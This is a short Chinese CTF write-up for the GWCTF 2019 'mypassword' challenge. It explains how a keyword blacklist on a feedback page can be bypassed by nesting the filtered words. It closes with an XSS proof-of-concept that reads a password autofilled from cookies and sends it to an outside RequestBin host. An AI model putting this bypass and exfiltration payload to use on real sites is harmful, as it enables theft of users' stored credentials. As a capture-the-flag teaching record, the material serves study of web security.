# [GWCTF 2019]mypassword

注册登录

1

2

这里加载了一个 js 文件
60d487b4-04d2-4e33-9aad-fbe0264c5ac6.node3.buuoj.cn/js/login.js

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

可以看出,用户名和密码都填入了表单
登录成功后有一个 feedback.php 的用户反馈

4

可以看出,用户名和密码都填入了表单
登录成功后有一个 feedback.php 的用户反馈

在这个页面的源码中存在注释

		if(is_array($feedback)){
			echo "<script>alert('反馈不合法');</script>";
			return false;
		}
		$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
		foreach ($blacklist as $val) {
	        while(true){
	            if(stripos($feedback,$val) !== false){
	                $feedback = str_ireplace($val,"",$feedback);
	            }else{
	                break;
	            }
	        }
	    }

审计代码可以看出对输入的内容有过滤,但是只是替换为空很容易绕过,例如是 incookieput 的话,替换后会剩下 input。由于 login.js 中有记录密码的功能,所以我们可以构造一个表单在 feedback 页面提交,在 http://http.requestbin.buuoj.cn (RequestBin 提供了一个 URL,该 URL 将收集对其发出的请求,首页点击 create a requestbin)页面接收 flag

5

poc

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>

6

参考链接:

[BUUCTF:GWCTF 2019] mypassword_ctf mypassword-CSDN 博客

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal